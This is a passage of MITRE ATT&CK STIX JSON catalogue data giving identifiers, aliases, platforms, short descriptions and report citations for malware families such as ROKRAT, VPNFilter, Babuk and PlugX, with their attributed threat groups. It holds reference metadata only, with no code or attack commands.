2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)","modified":"2022-08-23T15:25:11.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Pteranodon","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-06T21:19:39.591Z","name":"DarkTortilla","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. [DarkTortilla](https://attack.mitre.org/software/S1066) has been used to deliver popular information stealers, RATs, and payloads such as [Agent Tesla](https://attack.mitre.org/software/S0331), AsyncRat, [NanoCore](https://attack.mitre.org/software/S0336), RedLine, [Cobalt Strike](https://attack.mitre.org/software/S0154), and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Mindaugas Gudzis, BT Security"],"x_mitre_aliases":["DarkTortilla"],"type":"malware","id":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","created":"2023-02-16T13:57:53.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1066","external_id":"S1066"},{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ROKRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0240","external_id":"S0240"},{"source_name":"ROKRAT","description":"(Citation: Talos ROKRAT 2) (Citation: Talos Group123)"},{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"url":"https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html","description":"Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.","source_name":"Talos ROKRAT 2"}],"modified":"2022-03-30T20:40:21.212Z","name":"ROKRAT","description":"[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)","x_mitre_version":"2.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-26T17:51:20.402Z","name":"CORESHELL","description":"[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_aliases":["CORESHELL","Sofacy","SOURFACE"],"type":"malware","id":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","created":"2017-05-31T21:33:18.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0137","external_id":"S0137"},{"source_name":"CORESHELL","description":"(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)"},{"source_name":"SOURFACE","description":"(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)"},{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Securelist Sofacy Feb 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/"},{"source_name":"Sofacy","description":"This designation has been used in reporting both to refer to the threat group ([APT28](https://attack.mitre.org/groups/G0007)) and its associated malware.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RunningRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0253","external_id":"S0253"},{"source_name":"RunningRAT","description":"(Citation: McAfee Gold Dragon)"},{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.043Z","name":"RunningRAT","description":"[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-15T22:01:22.169Z","name":"VPNFilter","description":"[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)","x_mitre_platforms":["Network","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["ics-attack","enterprise-attack"],"x_mitre_version":"2.0","x_mitre_aliases":["VPNFilter"],"type":"malware","id":"malware--6108f800-10b8-4090-944e-be579f01263d","created":"2019-03-26T15:02:14.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1010","external_id":"S1010"},{"source_name":"Carl Hurd March 2019","description":"Carl Hurd 2019, March 26 VPNFilter Deep Dive Retrieved. 2019/03/28 ","url":"https://www.youtube.com/watch?v=yuZazP22rpI"},{"source_name":"NCSC CISA Cyclops Blink Advisory February 2022","description":"NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.","url":"https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"},{"source_name":"William Largent June 2018","description":"William Largent 2018, June 06 VPNFilter Update - VPNFilter exploits endpoints, targets new devices Retrieved. 2019/03/28 ","url":"https://blog.talosintelligence.com/2018/06/vpnfilter-update.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India","Daniyal Naeem, BT Security"],"x_mitre_aliases":["Babuk","Babyk","Vasa Locker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","type":"malware","created":"2021-08-11T17:36:46.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0638","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0638"},{"source_name":"Babyk","description":"(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)"},{"source_name":"Vasa Locker","description":"(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)"},{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"CyberScoop Babuk February 2021","url":"https://www.cyberscoop.com/babuk-ransomware-serco-attack/","description":"Lyngaas, S. (2021, February 4). Meet Babuk, a ransomware attacker blamed for the Serco breach. Retrieved August 11, 2021."},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-13T14:29:38.795Z","name":"Babuk","description":"[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a \"Big Game Hunting\" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-26T16:28:39.922Z","name":"DarkWatchman","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["DarkWatchman"],"type":"malware","id":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","created":"2022-01-10T19:43:47.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0673","external_id":"S0673"},{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Josh Campbell, Cyborg Security, @cyb0rgsecur1ty"],"x_mitre_aliases":["Dyre","Dyzap","Dyreza"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","type":"malware","created":"2017-05-31T21:32:19.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0024","external_id":"S0024"},{"source_name":"Dyre","description":"(Citation: Symantec Dyre June 2015)"},{"source_name":"Dyzap","description":"(Citation: Sophos Dyreza April 2015)"},{"source_name":"Dyreza","description":"(Citation: Sophos Dyreza April 2015)"},{"source_name":"Symantec Dyre June 2015","description":"Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"},{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."},{"source_name":"Sophos Dyreza April 2015","url":"https://nakedsecurity.sophos.com/2015/04/20/notes-from-sophoslabs-dyreza-the-malware-that-discriminates-against-old-computers/","description":"Ducklin, P. (2015, April 20). Notes from SophosLabs: Dyreza, the malware that discriminates against old computers. Retrieved June 16, 2020."}],"modified":"2020-06-22T17:59:13.241Z","name":"Dyre","description":"[Dyre](https://attack.mitre.org/software/S0024) is a banking Trojan that has been used for financial gain. \n (Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BlackMould"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","type":"malware","created":"2021-01-14T19:58:17.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0564","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0564"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-03-23T22:18:00.145Z","name":"BlackMould","description":"[BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Javali"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--64122557-5940-4271-9123-25bfc0c693db","type":"malware","created":"2020-11-09T18:32:18.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0528","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0528"},{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-22T21:07:41.508Z","name":"Javali","description":"[Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T21:08:49.143Z","name":"PACEMAKER","description":"[PACEMAKER](https://attack.mitre.org/software/S1109) is a credential stealer that was used by [APT5](https://attack.mitre.org/groups/G1023) as early as 2020 including activity against US Defense Industrial Base (DIB) companies.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","x_mitre_platforms":["Network","Linux"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["PACEMAKER"],"type":"malware","id":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","created":"2024-02-08T19:38:27.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1109","external_id":"S1109"},{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-06-27T20:01:04.973Z","name":"LunarLoader","description":"[LunarLoader](https://attack.mitre.org/software/S1143) is the loader component for the [LunarWeb](https://attack.mitre.org/software/S1141) and [LunarMail](https://attack.mitre.org/software/S1142) backdoors that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2020 including against a European ministry of foreign affairs (MFA). [LunarLoader](https://attack.mitre.org/software/S1143) has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.(Citation: ESET Turla Lunar toolset May 2024)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["LunarLoader"],"type":"malware","id":"malware--6490afef-d88e-4e2b-b9d9-a472508ca59d","created":"2024-06-27T19:07:21.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1143","external_id":"S1143"},{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["BBSRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","type":"malware","created":"2017-05-31T21:33:13.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0127","external_id":"S0127"},{"source_name":"Palo Alto Networks BBSRAT","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/"}],"modified":"2020-03-30T14:55:06.553Z","name":"BBSRAT","description":"[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-10T17:14:55.086Z","name":"PlugX","description":"[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"3.1","x_mitre_aliases":["PlugX","Thoper","TVT","DestroyRAT","Sogu","Kaba","Korplug"],"type":"malware","id":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","created":"2017-05-31T21:32:15.638Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0013","external_id":"S0013"},{"source_name":"DestroyRAT","description":"(Citation: CIRCL PlugX March 2013)"},{"source_name":"Kaba","description":"(Citation: FireEye Clandestine Fox Part 2)"},{"source_name":"PlugX","description":"(Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)"},{"source_name":"Korplug","description":"(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)"},{"source_name":"Sogu","description":"(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)"},{"source_name":"Thoper","description":"(Citation: Novetta-Axiom)"},{"source_name":"TVT","description":"(Citation: Novetta-Axiom)"},{"source_name":"CIRCL PlugX March 2013","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"New DragonOK","description":"Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.","url":"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"},{"source_name":"FireEye Clandestine Fox Part 2","description":"Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"},{"source_name":"Lastline PlugX Analysis","description":"Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.","url":"http://labs.lastline.com/an-analysis-of-plugx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:21:09.543Z","name":"Reaver","description":"[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Reaver"],"type":"malware","id":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0172","external_id":"S0172"},{"source_name":"Reaver","description":"(Citation: Palo Alto Reaver Nov 2017)"},{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:53:35.918Z","name":"Bisonal","description":"[Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.1","x_mitre_aliases":["Bisonal"],"type":"malware","id":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0268","external_id":"S0268"},{"source_name":"Bisonal","description":"(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)"},{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Talos Bisonal Mar 2020","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-29T15:20:13.078Z","name":"MultiLayer Wiper","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) is wiper malware written in .NET associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. Observed samples of [MultiLayer Wiper](https://attack.mitre.org/software/S1135) have an anomalous, future compilation date suggesting possible metadata manipulation.(Citation: Unit42 Agrius 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["MultiLayer 